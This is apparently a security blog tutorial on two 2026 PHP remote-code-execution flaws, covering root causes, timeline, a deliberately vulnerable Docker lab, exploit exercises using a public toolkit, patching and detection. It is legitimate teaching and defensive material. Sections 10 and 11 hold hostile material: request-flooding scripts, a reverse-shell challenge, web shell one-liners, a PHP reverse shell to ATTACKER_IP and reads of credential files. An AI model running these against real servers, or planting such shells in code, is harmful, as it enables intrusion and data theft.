PHP2Shell: CVE-2026-109618 & CVE-2026-109619 | Critical PHP RCE
1. Executive Summary
CRITICAL: Actively Exploited
PHP2Shell is a pair of pre-authentication RCE vulnerabilities in PHP core, rated CVSS 9.2. They affect PHP 5.4 through 8.5 and are being exploited in the wild. CISA added both CVEs to the Known Exploited Vulnerabilities (KEV) catalog on October 26, 2026. The FBI and CISA have issued urgent patching advisories. Update immediately.
On October 21, 2026, the PHP project released emergency patches for two critical memory safety vulnerabilities collectively known as PHP2Shell:
- CVE-2026-109618 : RCE via Out-of-Memory (OOM) corruption
- CVE-2026-109619 : RCE via stale global state (use-after-free)
Both are rated CVSS v4.0 9.2 (Critical) and enable unauthenticated remote code execution. An attacker sends a single HTTP request and gets a shell on the server. No application-level vulnerability is required. The attack executes before any PHP application code runs. It does not matter if you run WordPress, Laravel, Drupal, or a custom app: if the PHP version is vulnerable, the server is exploitable.
| Property | Detail |
|---|---|
| CVEs | CVE-2026-109618, CVE-2026-109619 |
| CVSS v4.0 | 9.2 (Critical) |
| Attack Vector | Network (unauthenticated HTTP request) |
| Affected Versions | PHP 5.4 through 8.5 (all branches) |
| Authentication | None required (pre-auth) |
| User Interaction | None |
| Exploitation | Active, in-the-wild (CISA KEV Oct 26) |
| Discovered By | Calif (AI-assisted audit via OpenAI), Wiz (AI-assisted: Gemini 4 Argon + GPT-5.6 Sol) |
2. What Is PHP2Shell?
“PHP2Shell” is the informal name given by the security community to these two flaws. PHP itself does not use this name. It refers to them by their CVE identifiers and GitHub Security Advisories (GHSA-w8hw-w9fx-j79w and GHSA-6wmf-4rv5-p3rp).
The name captures the severity: PHP to Shell. From a PHP web server directly to a remote shell, with zero authentication and zero interaction. Multiple researchers confirmed that a single anonymous POST request against mod_php is sufficient to achieve code execution as the Apache worker process.
The vulnerabilities were independently discovered by researchers from Calif, Wiz, and OpenAI. Calif researcher Ryan Austin found the flaws during an OpenAI-sponsored “Patch the Planet” audit in August 2026. Wiz independently discovered the same bugs using AI-assisted analysis (Gemini 4 Argon and GPT-5.6 Sol) and popularized the name “PHP2Shell” (Wiz Blog). The vulnerable code had existed since PHP 5.4.0 (2012), hidden for over 14 years. Calif confirmed pre-auth RCE against a WordPress installation. Multiple public PoCs exist on GitHub, though Rapid7 found they are sensitive to the specific OS, PHP version, and web server combination (Rapid7 ETR).
To understand why this is so devastating, consider the numbers: PHP powers roughly 75% of all websites with a known server-side language (W3Techs). Within 24 hours of disclosure, Censys identified approximately 36.7 million internet-facing services reporting potentially affected PHP versions (Fortinet), while Palo Alto Networks counted over 22.6 million vulnerable instances (SecurityWeek). Many of these run PHP 8.1 or older, versions with no official fix release from the PHP project. This vulnerability puts a majority of the internet's web infrastructure at risk.
3. CVE-2026-109618: OOM Corruption RCE
Advisory: GHSA-w8hw-w9fx-j79w
Root Cause
When PHP hits its configured memory limit at a precise moment during request processing, the Out-of-Memory handler interrupts execution while request data structures are only partially initialized. The subsequent request cleanup phase then treats this invalid, half-constructed data as valid. It reads uninitialized memory, corrupts internal structures, and ultimately achieves code execution.
Technical Deep-Dive
PHP processes each HTTP request through a lifecycle: RINIT (request initialization), execution of the script, then RSHUTDOWN (request shutdown / cleanup). During RINIT, the engine allocates and populates several internal structures: superglobals ($_POST, $_FILES), session state, the executor globals, and the Zend Memory Manager's own bookkeeping.
The vulnerability exists because an OOM condition during RINIT triggers an immediate jump to RSHUTDOWN. But RSHUTDOWN was written under the assumption that RINIT completed successfully. It walks internal linked lists, frees hash tables, and dereferences pointers that were never assigned valid values. The result is a controlled crash: the attacker knows which fields will be read and can influence their contents through the POST body that triggered the OOM.
The key insight is that the attacker controls how much memory to consume by controlling the size and structure of their HTTP request body. By carefully sizing a multipart POST body, they can make the OOM trigger at exactly the allocation that leaves the most exploitable structures in an uninitialized state.
Trigger Conditions
- PHP must have a finite
memory_limitconfigured (this is the default; the default value is 128M) - The attacker needs to cause an allocation failure at the right moment, achievable through crafted request bodies, particularly multipart uploads with many parts
- Affects all PHP SAPIs: mod_php, PHP-FPM, php-cgi, FrankenPHP, LiteSpeed
- No specific PHP extension or feature needs to be enabled beyond the defaults
Why memory_limit = -1 Mitigates
Setting memory_limit = -1 disables the PHP-level memory limit entirely. Without a memory limit, the OOM handler never fires during RINIT, so the vulnerable code path is never reached. The process will instead be killed by the OS or container runtime if it truly exhausts memory, but this happens through a different (non-exploitable) mechanism: the kernel OOM killer or cgroup limits.
Warning: Do NOT use RLIMIT_AS or RLIMIT_DATA as a substitute for memory_limit. These can cause the same allocation failure that the attacker needs, potentially increasing exposure to this CVE instead of mitigating it.
4. CVE-2026-109619: Use-After-Free RCE
Advisory: GHSA-6wmf-4rv5-p3rp
Root Cause
PHP's internal global state can retain references to memory that has already been freed at the end of a request. When the next request arrives on the same worker process, these stale references are used before normal initialization resets them. This is a textbook use-after-free (UAF) vulnerability.
Technical Deep-Dive
PHP worker processes (both mod_php Apache workers and PHP-FPM children) handle multiple requests over their lifetime. Between requests, most state is cleaned up, but certain global variables persist across requests for performance. The vulnerability exists in how PHP's session upload progress handler interacts with these global variables.
When session.upload_progress.enabled is On (the default), PHP tracks file upload progress in the session. The upload progress handler allocates memory during request processing and stores references to it in global INI-related structures. At the end of the request, the memory is freed, but the references in the global structures are not nullified. They become dangling pointers.
On the next request to the same worker, the dangling pointers are dereferenced before the normal session initialization has a chance to reset them. If the attacker can control what data occupies the previously freed memory region (through heap spraying or careful request construction), they can redirect the dangling pointer to attacker-controlled data, achieving arbitrary code execution.
Security researchers have identified the vulnerable code in php_session_rfc1867_callback (ext/session/session.c), where PHP caches zval * pointers during upload-progress tracking (GHSA-6wmf-4rv5-p3rp). When the session table backing those pointers is destroyed at request end, the pointers become dangling. Note: some researchers (Sansec, Wiz) also describe a related fatal-error backtrace UAF and OPcache type confusion path (Wiz). The session upload progress handler is the confirmed pre-auth attack vector, but it may not be the only exploitable path.
Trigger Conditions
session.upload_progress.enabledmust beOn(this is the default in php.ini)- The attack requires two sequential requests to the same worker process: the first poisons the global state, the second triggers the UAF
- With mod_php, using HTTP keep-alive makes landing both requests on the same worker trivial
- With PHP-FPM, sending rapid sequential requests with few workers configured gives high probability of hitting the same child
- Code execution was validated against both mod_php and PHP-FPM
Why Disabling session.upload_progress.enabled Mitigates
Setting session.upload_progress.enabled = 0 in php.ini prevents the upload progress handler from running entirely. No progress tracking means no allocation in the vulnerable code path, no dangling pointers, and no UAF. This must be set in php.ini or the FPM pool configuration file. Using ini_set() in application code is too late because the upload progress handler fires before PHP user code executes.
5. Attack Chain and Flow Diagram
What makes PHP2Shell devastating is the simplicity of the attack:
- The attacker sends a crafted HTTP POST request to any PHP endpoint on the target server. It can be
/index.php,/wp-login.php, or any other file handled by PHP. - The exploit triggers during PHP's internal request initialization phase, before any application code runs. There is no authentication check, no WAF application-layer rule, and no framework middleware that can intercept this.
- PHP's memory handling (CVE-2026-109618) or session upload progress handler (CVE-2026-109619) corrupts internal state in a way the attacker controls.
- The attacker gains code execution as the PHP worker user, typically
www-dataon Debian/Ubuntu orapacheon RHEL/CentOS. - From there, the attacker can deploy a web shell for persistent access, establish a reverse shell for interactive control, escalate privileges, move laterally across the network, exfiltrate data, or install ransomware.
Key point: This is not an application-level bug. Every website running an unpatched PHP version is potentially vulnerable, regardless of the CMS, framework, or application code. WordPress, Drupal, Joomla, and Laravel have all been demonstrated as exploitable.
SAPI Risk Comparison
6. Affected Versions and Fixed Releases
| PHP Branch | Affected | Fixed In | Status |
|---|---|---|---|
| 8.5 | Below 8.5.12 | 8.5.12 | Active |
| 8.4 | Below 8.4.27 | 8.4.27 | Active |
| 8.3 | Below 8.3.36 | 8.3.36 | Security-only |
| 8.2 | Below 8.2.35 | 8.2.35 | EOL Dec 31, 2026 |
| 8.1, 8.0, 7.4 | All versions | Source backports only | End of Life |
| 7.0 to 7.3, 5.x | Reported by third-party research | No fix available | End of Life |
Distro packages: Linux distributions often backport security fixes without changing the upstream PHP version string. Ubuntu 24.04's fixed package 8.3.6-0ubuntu0.24.04.13 still reports PHP 8.3.6 to php -v. Always check your distribution's package changelog for the CVE IDs, not just the version number. Use apt changelog php8.3-fpm or rpm -q --changelog php to verify.
7. Timeline of Events
| Date | Event |
|---|---|
| Oct 17, 2026 | Amazon threat intelligence detects first exploit attempts against honeypots |
| Oct 20, 2026 | Details leak on Hacker News two days before coordinated disclosure. PHP publishes advance notice. |
| Oct 21, 2026 | PHP releases emergency patches (8.5.12, 8.4.27, 8.3.36, 8.2.35). Cloudflare deploys managed WAF rules. Scanning activity detected before the fix was public. |
| Oct 22, 2026 | Remi repository publishes packages. Pentest-Tools activates detection. |
| Oct 23, 2026 | PHP discloses CVE-2026-115560, a third related flaw (see Section 12) |
| Oct 24, 2026 | Red Hat publishes fixed packages for RHEL 8/9/10 |
| Oct 25, 2026 | cPanel EasyApache 4 release 25.91 ships backports |
| Oct 26, 2026 | CISA adds both CVEs to KEV catalog. FBI and CISA issue joint advisory urging immediate remediation. PHP Windows builds rebuilt. |
8. Exploitation in the Wild
Exploitation status has been actively debated, with reporting shifting rapidly:
- Amazon threat intelligence (MadPot honeypots) observed the first exploit attempts on October 17, 2026, four days before the patch (AWS Security Blog). They advise reviewing logs back to this date.
- watchTowr observed active exploitation of both CVEs via their Attacker Eye honeypots starting October 21 (watchTowr Labs). Security researcher Marcus Hutchins (Expel) confirmed successful exploitation against Apache mod_php
- CISA added both CVEs to the Known Exploited Vulnerabilities (KEV catalog) on October 26, confirming active exploitation
- Cloudflare began blocking exploitation attempts via managed WAF rules from 03:02 UTC on October 21
- Recorded Future noted that the full extent of successful exploitation or confirmed compromises has not been established
Multiple public PoCs are available on GitHub. Rapid7 tested them and found they are sensitive to the specific combination of operating system, PHP version, and web server (Rapid7 ETR). Not every combination is trivially exploitable, but the underlying vulnerability exists in all of them.
9. Lab Setup: Building a Vulnerable Environment
For Educational Purposes Only
This lab is designed for students and security researchers to understand the vulnerability in an isolated environment. Never run exploits against systems you do not own or have explicit written authorization to test. Always use an air-gapped or isolated VM/container.
Docker Lab Setup
The fastest way to set up a vulnerable PHP environment. Create the following Dockerfile and docker-compose.yml:
Dockerfile
# Vulnerable PHP 8.4.26 with Apache mod_php
FROM php:8.4.26-apache
RUN echo "session.upload_progress.enabled = On" >> /usr/local/etc/php/conf.d/vuln.ini && \
echo "session.upload_progress.cleanup = Off" >> /usr/local/etc/php/conf.d/vuln.ini && \
echo "memory_limit = 128M" >> /usr/local/etc/php/conf.d/vuln.ini && \
echo "post_max_size = 128M" >> /usr/local/etc/php/conf.d/vuln.ini && \
echo "upload_max_filesize = 128M" >> /usr/local/etc/php/conf.d/vuln.ini && \
echo "display_errors = On" >> /usr/local/etc/php/conf.d/vuln.ini && \
echo "max_input_vars = 100000" >> /usr/local/etc/php/conf.d/vuln.ini && \
echo "max_multipart_body_parts = -1" >> /usr/local/etc/php/conf.d/vuln.ini && \
echo "error_reporting = E_ALL" >> /usr/local/etc/php/conf.d/vuln.ini && \
echo "html_errors = Off" >> /usr/local/etc/php/conf.d/vuln.ini
RUN echo '<?php phpinfo(); ?>' > /var/www/html/info.php
RUN echo '<?php session_start(); echo "Hello from vulnerable PHP!"; ?>' > \
/var/www/html/index.php
EXPOSE 80docker-compose.yml
services:
vulnerable-php:
build: .
ports:
- "8080:80"
# Isolate from host network
networks:
- lab-net
# Resource limits to prevent accidental damage
deploy:
resources:
limits:
memory: 512M
cpus: "1.0"
networks:
lab-net:
driver: bridge
internal: false # Set to true for full isolationBuild and Run
# Build the vulnerable image
docker compose build
# Start the container
docker compose up -d
# Verify it is running
curl http://localhost:8080/info.php | head -5
# Check the PHP version (should show 8.4.26, which is VULNERABLE)
curl -sI http://localhost:8080/ | grep "X-Powered-By"Common Gotchas That Block the Exploit - Several PHP defaults will prevent the exploit from working in your lab. All of these must be configured correctly:
1. post_max_size (default 8M) - The exploit sends ~16MB+ payloads. Without increasing this, you get “POST Content-Length exceeds the limit” and the body is rejected before PHP processes it.
2. display_errors (default Off) + error_reporting = E_ALL + html_errors = Off - The heap leak stage reads memory addresses from PHP error output. The tool needs plain-text errors (not HTML-wrapped), at full verbosity, to extract addresses.
3. max_input_vars (default 1000) and max_multipart_body_parts (default 1020 in PHP 8.x) - These truncate multipart payloads before they can trigger OOM. Set them high or to -1.
4. session.upload_progress.cleanup (default On) - Set to Off so the exploit has enough time to trigger the UAF before session data is cleaned up.
None of these failures mean the target is safe. They mean the exploit payload was blocked before reaching the vulnerable code path.
Important: Use an isolated network for your lab. Do not expose port 8080 to the internet. If testing in the cloud, use security groups or firewall rules to restrict access to your IP only.
10. Hands-On: Exploiting PHP2Shell
Legal Disclaimer: Only perform these exercises against systems you own or have explicit written authorization to test. Unauthorized access to computer systems is a crime under the Computer Fraud and Abuse Act (USA), Computer Misuse Act (UK), and similar laws worldwide.
Exercise 1: Reconnaissance and Version Detection
Before exploiting, an attacker needs to confirm the target runs a vulnerable PHP version. Practice these enumeration techniques against your lab:
# Method 1: Check X-Powered-By header
curl -sI http://localhost:8080/ | grep -i "x-powered-by"
# Output: X-Powered-By: PHP/8.4.26
# Method 2: Check phpinfo() if exposed (common misconfiguration)
curl -s http://localhost:8080/info.php | grep "PHP Version"
# Method 3: Trigger a PHP error to leak version
curl -s "http://localhost:8080/nonexistent.php" | head -20
# Method 4: Nmap service detection
nmap -sV -p 8080 localhost
# Method 5: Check session.upload_progress setting via phpinfo
curl -s http://localhost:8080/info.php | \
grep "session.upload_progress.enabled"
# If "On" => CVE-2026-109619 path is availableExercise 2: Testing the OOM Path (CVE-2026-109618)
This exercise demonstrates how to trigger the OOM condition. In a real exploit, the attacker would use this to corrupt memory. Here we just confirm the vulnerable code path is reachable.
# Generate a large multipart payload that approaches memory_limit
# The goal is to make PHP hit OOM during request initialization
# Default memory_limit is 128M
# Step 1: Create a test payload file
python3 -c "
import sys
# Create a multipart body with many small parts
# Each part adds overhead in PHP's internal tracking
boundary = 'LABTEST'
parts = []
for i in range(50000):
parts.append(f'--{boundary}\r\n')
parts.append(f'Content-Disposition: form-data; name="f{i}"\r\n\r\n')
parts.append('A' * 2000 + '\r\n')
parts.append(f'--{boundary}--\r\n')
payload = ''.join(parts)
sys.stdout.buffer.write(payload.encode())
" > /tmp/oom_payload.bin
# Step 2: Send the payload
curl -v -X POST http://localhost:8080/index.php \
-H "Content-Type: multipart/form-data; boundary=LABTEST" \
--data-binary @/tmp/oom_payload.bin
# Step 3: Check the container logs for OOM errors
docker compose logs vulnerable-php 2>&1 | tail -20
# Look for: "Allowed memory size of ... bytes exhausted"
# Step 4: If you see the OOM error, the vulnerable path was reached
# In a real exploit, the payload would be crafted to corrupt
# specific internal structs during the OOM cleanup phaseExercise 3: Testing the UAF Path (CVE-2026-109619)
This exercise demonstrates the two-request attack pattern for the use-after-free. The first request sets up the poisoned global state, and the second request triggers the dereference.
Important caveat: These manual curl requests demonstrate the concept of the two-request attack pattern, but they will not reliably trigger the UAF on their own. The actual exploit requires precise heap layout manipulation, timing, and environment-specific offsets that only an automated tool like php2shell handles. A segfault here is a sign you hit the right code path; no segfault does not mean the target is safe.
# Both requests MUST hit the same Apache worker process.
# We use a single TCP connection via curl --next to guarantee this.
# Combined: Request 1 (Poison) + Request 2 (Trigger) over one connection
curl -v --http1.1 \
-X POST http://localhost:8080/index.php \
-H "Cookie: PHPSESSID=labtest123" \
-F "PHP_SESSION_UPLOAD_PROGRESS=POISON" \
-F "file=@/tmp/oom_payload.bin;filename=test.txt" \
--next \
-X POST http://localhost:8080/index.php \
-H "Cookie: PHPSESSID=labtest123" \
-d "trigger=1"
# --next reuses the same TCP connection (HTTP keep-alive),
# so both requests are handled by the same Apache worker.
# Request 1 poisons global state, Request 2 hits the dangling pointer.
# Alternative: use a Python script for precise control
python3 -c "
import socket
host, port = 'localhost', 8080
s = socket.create_connection((host, port))
# Request 1: Poison
body1 = (
'--BOUND\r\n'
'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\n'
'POISON\r\n'
'--BOUND--\r\n'
)
req1 = (
f'POST /index.php HTTP/1.1\r\n'
f'Host: {host}:{port}\r\n'
f'Cookie: PHPSESSID=labtest123\r\n'
f'Content-Type: multipart/form-data; boundary=BOUND\r\n'
f'Content-Length: {len(body1)}\r\n'
f'Connection: keep-alive\r\n\r\n' + body1
)
s.sendall(req1.encode())
resp1 = s.recv(4096)
print('[*] Request 1 sent (poison)')
# Request 2: Trigger UAF
body2 = 'trigger=1'
req2 = (
f'POST /index.php HTTP/1.1\r\n'
f'Host: {host}:{port}\r\n'
f'Cookie: PHPSESSID=labtest123\r\n'
f'Content-Type: application/x-www-form-urlencoded\r\n'
f'Content-Length: {len(body2)}\r\n'
f'Connection: close\r\n\r\n' + body2
)
s.sendall(req2.encode())
resp2 = s.recv(4096)
print('[*] Request 2 sent (trigger)')
s.close()
"
# Monitor for crashes
docker compose logs vulnerable-php 2>&1 | grep -i "segfault\|signal\|core"
# NOTE: A segfault in the PHP worker indicates the UAF was triggered.
# In a weaponized exploit, the attacker replaces the crash with
# controlled code execution by heap-spraying the freed memory region.Exercise 4: Using the PHP2Shell Toolkit
The php2shell toolkit (v1.5.1) is a public PoC that chains CVE-2026-109619 (UAF). It uses curl_cffi for JA3 fingerprint impersonation and supports multiple exploit profiles per target OS.
# Clone the toolkit
git clone https://github.com/aarsaputra/php2shell.git
cd php2shell
# Set up a Python virtual environment
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
# Step 1: Scan - verify the target is vulnerable
python3 php2shell.py exploit \
-u http://localhost:8080/index.php \
--force --yes \
--exploit-profile bookworm \
-c 'id' -v
# Expected scan output:
# URL : http://localhost:8080/index.php
# verdict : vulnerable - PHP 8.4.26 < fix-floor 8.4.27
# skor : 75/90 (READY)
#
# The tool fingerprints the PHP version from X-Powered-By,
# checks it against the fix-floor, and scores readiness.
# Step 2: Exploitation
# The tool then attempts the full CVE-2026-109619 chain:
# stage 1: heap leak - extracts heap base from error output
# stage 2: UAF trigger - corrupts freed memory via upload progress
# stage 3: RCE - hijacks control flow to execute command
#
# Available exploit profiles:
# --exploit-profile bookworm (Debian Bookworm / php:8.4.26-apache)
# --exploit-profile lab (generic lab offsets)
#
# Useful flags for troubleshooting:
# --huge-mb 128 force payload size to match memory_limit
# --retries 10 increase heap leak attempts (default 3)
# -v verbose mode (shows every HTTP request)
# On success:
# proof: uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Common failure: HEAP_LEAK_FAILED
# The heap leak is inherently probabilistic - it depends on ASLR,
# heap layout, and Apache worker alignment. In Docker containers,
# the heap layout may differ from bare-metal Debian, causing the
# leak to miss. The vulnerability is still confirmed by the scan.Why HEAP_LEAK_FAILED? The exploit's stage 1 sends crafted payloads that trigger PHP errors containing heap addresses. It then parses these addresses to calculate offsets for the UAF. In containerized environments, ASLR entropy and heap layout differ from bare-metal installs, making the leak less reliable. This does not mean the target is safe - it means the exploit needs environment-specific tuning. Real-world attacks target production servers where the heap layout is more predictable after profiling.
Lab Challenge
If you achieve RCE, try to get a reverse shell from the container back to your host. Set up a listener with nc -lvnp 4444 on your host, then use --allow-cmd ls to explore the filesystem. Can you find database credentials or escalate from www-data to root inside the container?
Exercise 5: Testing the Mitigations
Now verify that the recommended mitigations actually prevent exploitation:
# Test 1: Disable session upload progress
docker compose exec vulnerable-php bash -c \
"echo 'session.upload_progress.enabled = 0' >> \
/usr/local/etc/php/conf.d/vuln.ini"
docker compose restart
# Re-run Exercise 3 - the UAF path should no longer be reachable
# Test 2: Disable memory limit
docker compose exec vulnerable-php bash -c \
"echo 'memory_limit = -1' >> \
/usr/local/etc/php/conf.d/vuln.ini"
docker compose restart
# Re-run Exercise 2 - the OOM should no longer trigger
# Test 3: Patch to a fixed version
# Modify Dockerfile: FROM php:8.4.27-apache
docker compose build && docker compose up -d
# Re-run all exercises - none should succeed
# Test 4: Verify the fix
curl -sI http://localhost:8080/ | grep "X-Powered-By"
# Should show PHP/8.4.2711. Post-Exploitation and Indicators of Compromise
Understanding what happens after a successful exploit is critical for both defenders (to detect breaches) and students (to understand the real-world impact).
Common Post-Exploitation Actions
Once an attacker has code execution as www-data, the typical playbook is:
- Deploy a web shell: A PHP file that gives persistent remote command execution through a web browser. The attacker can return anytime without re-exploiting.
- Establish a reverse shell: A persistent connection back to the attacker's server, bypassing firewall rules that block inbound connections.
- Escalate privileges: From
www-datato root via kernel exploits, SUID binaries, sudo misconfigurations, or container escape. - Exfiltrate data: Database credentials (in wp-config.php, .env files), customer data, source code, API keys.
- Lateral movement: Use stolen credentials or SSH keys to move to other servers on the network.
- Persistence: Cron jobs, SSH authorized_keys, modified system binaries, or rootkits.
Example: Web Shell Deployment
# What an attacker might do after getting code execution:
# (This is what to LOOK FOR in your web roots during incident response)
# Simple PHP web shell (one-liner)
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/.cache.php
# More stealthy: hidden in an existing file
# Attacker prepends to an existing PHP file:
sed -i '1i\<?php if(isset($_GET["x"])){system(base64_decode($_GET["x"]));}?>' \
/var/www/html/wp-includes/version.php
# Reverse shell (attacker runs "nc -lvnp 4444" on their server)
php -r '$s=fsockopen("ATTACKER_IP",4444);exec("/bin/bash <&3 >&3 2>&3");'
# Data exfiltration
cat /var/www/html/wp-config.php # WordPress DB credentials
cat /var/www/html/.env # Laravel env with DB/API keys
find / -name "*.sql" 2>/dev/null # Database dumpsIndicators of Compromise (IOCs)
If you suspect exploitation, look for these signs:
Network IOCs
- Unusual outbound connections from your PHP server (reverse shells, C2 beacons)
- Large multipart POST requests to random PHP endpoints in access logs
- Sequential requests with
PHP_SESSION_UPLOAD_PROGRESSin the POST body - HTTP requests with abnormally large
Content-Lengthheaders
Host IOCs
- PHP worker processes (httpd, php-fpm) spawning child shells (
/bin/sh,/bin/bash) - New or modified PHP files in web roots that you did not deploy
- Unexpected cron jobs running as
www-dataorapache - Modified
.htaccessfiles or PHP configuration files - Segfaults in PHP error logs (sign of failed exploit attempts)
Detection Commands
# Check for suspicious PHP files modified recently
find /var/www -name "*.php" -mtime -7 -ls
# Look for common web shell signatures
grep -rl "system\|exec\|passthru\|shell_exec\|eval.*base64" \
/var/www/html/ --include="*.php"
# Check for PHP workers spawning shells (requires auditd or sysdig)
ps auxf | grep -E "(apache|php-fpm|httpd).*(/bin/sh|/bin/bash)"
# Review Apache/Nginx access logs for exploit signatures
grep -i "PHP_SESSION_UPLOAD_PROGRESS" /var/log/apache2/access.log
grep -E "POST .+\.php .+ (413|500)" /var/log/apache2/access.log
# Check for outbound connections from web server processes
ss -tnp | grep -E "(apache|php-fpm|httpd)" | grep -v ":80\|:443"
# Review PHP error logs for OOM and segfault entries
grep -i "memory size.*exhausted\|segfault\|signal 11" \
/var/log/php*.log /var/log/apache2/error.logLab Challenge: Blue Team Exercise
After running the exploits in Section 10, use the detection commands above to find the artifacts. Can you identify which exploit was used, when it happened, and what the attacker did after getting access? Write a brief incident report documenting your findings.
12. CVE-2026-115560: The Third Flaw
Two days after the initial patches, PHP disclosed a third related vulnerability:
| Property | Detail |
|---|---|
| CVE | CVE-2026-115560 |
| Disclosed | October 23, 2026 |
| Patch Status | Unpatched as of October 31 |
| Exploitability | Requires unusual configuration |
Trigger Conditions
This flaw requires a specific and unusual application configuration:
- The application sets
session.serialize_handlertophp_binaryorphp_serializein its configuration file - Then the application switches it to
phpat runtime viaini_set()before callingsession_start() - Session upload progress must be enabled (this is the default)
PHP says RCE through this path is unlikely due to the unusual configuration requirements. No exploitation has been reported. The interim mitigation is the same: set session.upload_progress.enabled=0.
Installing PHP 8.5.12, 8.4.27, 8.3.36, or 8.2.35 does not fix CVE-2026-115560. However, the combination of patching + disabling session upload progress mitigates all three flaws.
13. Detection and Mitigation
Immediate Detection
# Check PHP version (CLI and FPM may differ)
php -v
php-fpm -v
# Check the version serving web requests
curl -sI https://yoursite.com | grep -i "x-powered-by"
# For distro packages, check changelog for CVE IDs
dpkg -l php* | grep php # Debian/Ubuntu
rpm -qa | grep php # RHEL/CentOS
apt changelog php8.3-fpm 2>/dev/null | head -20Interim Mitigations (If You Cannot Patch Immediately)
PHP states: “These reduce exposure to specific attack paths but do not make an installation safe.”
For CVE-2026-109619 (UAF):
; php.ini - disable session upload progress
session.upload_progress.enabled = 0
; IMPORTANT: ini_set() and .user.ini apply too late
; Must be set in php.ini or the FPM pool config
; Restart workers after changingFor CVE-2026-109618 (OOM):
; php.ini - disable memory limit (use container/cgroup limits instead)
memory_limit = -1
; For PHP-FPM, use php_admin_value in pool config:
; php_admin_value[memory_limit] = -1
; Keep request sizes small
post_max_size = 8M
upload_max_filesize = 4MAdditional measures:
- On PHP 8.5: set
fatal_error_backtraces=0 - Add matching size limits on the reverse proxy or load balancer
- Alert on PHP worker processes spawning shells, download tools, or making outbound connections
- Review logs back to October 17, 2026 (earliest known exploitation)
- Cloudflare's managed WAF rules provide an additional layer but are not a substitute for patching
14. Patching Guide
Step 1: Identify All PHP Installations
Check web servers, control panels (cPanel, Plesk), vendor appliances, Windows software bundling php.exe, container images, and CMS stacks. Do not assume a single PHP installation per server.
Step 2: Apply the Fix
# Debian / Ubuntu
sudo apt update && sudo apt upgrade php*
# Verify: apt changelog php8.3-fpm | head -20
# RHEL / CentOS / Rocky
sudo dnf update php*
# Verify: rpm -q --changelog php | head -20
# Remi repository (EL8+ / Fedora 43+)
sudo dnf update --enablerepo=remi-php84 php*
# cPanel (EasyApache 4)
# Update to release >= 25.91 via WHM
# Docker / containers
# Update base image and REBUILD
# Running processes keep old code in memoryStep 3: Restart All Workers
# Restart PHP-FPM
sudo systemctl restart php8.3-fpm
# Restart Apache (mod_php)
sudo systemctl restart apache2 # Debian/Ubuntu
sudo systemctl restart httpd # RHEL/CentOS
# Restart LiteSpeed
sudo systemctl restart lswsStep 4: Verify
# Confirm the running version matches the patched version
php -v
php-fpm -v
curl -sI https://yoursite.com | grep -i "x-powered-by"
# Confirm session upload progress is disabled (belt and braces)
php -i | grep session.upload_progress.enabledConclusion
PHP2Shell is one of the most significant web security events of 2026. Two memory safety flaws, one in OOM handling and one a use-after-free in session upload progress, combine to give attackers unauthenticated, pre-application RCE against the majority of the world's web servers.
The timeline makes this worse: exploitation was detected four days before the patch dropped, and the details leaked publicly before coordinated disclosure. If you run PHP in any capacity, treat this as an emergency. Patch, disable session upload progress, and review your logs back to October 17.
The third flaw (CVE-2026-115560) remains unpatched but requires an unusual configuration. Keep session.upload_progress.enabled=0 as a belt-and-braces measure until the next PHP release cycle addresses it.
For students and researchers: use the lab environment in Section 9 to build hands-on understanding. There is no substitute for seeing the exploit work in a controlled environment. Understand the attack chain, practice the detection techniques, and learn to recognize the indicators of compromise. This is the kind of vulnerability that will appear on certification exams and in real-world incident response for years to come.
Sources and Further Reading
- Wiz: PHP2Shell - Critical PHP RCE (original research)
- GHSA-w8hw-w9fx-j79w (CVE-2026-109618)
- GHSA-6wmf-4rv5-p3rp (CVE-2026-109619)
- Rapid7: Critical PHP RCE - Emergent Threat Response
- BleepingComputer: PHP Ships Emergency Patches
- Pentest-Tools: PHP2Shell Research
- Stack Harbor: What We Know
- ArmorCode: PHP2Shell Executive Summary
- Trend Micro: Security Alert
- runZero: Find Impacted Assets
- Sophos: PHP2Shell Advisory
- aarsaputra/php2shell - Public PoC Toolkit
- W3Techs: PHP Usage Statistics
Khubab Ahmed
PNPT Certified Penetration Tester • Security Researcher • FAST-NUCES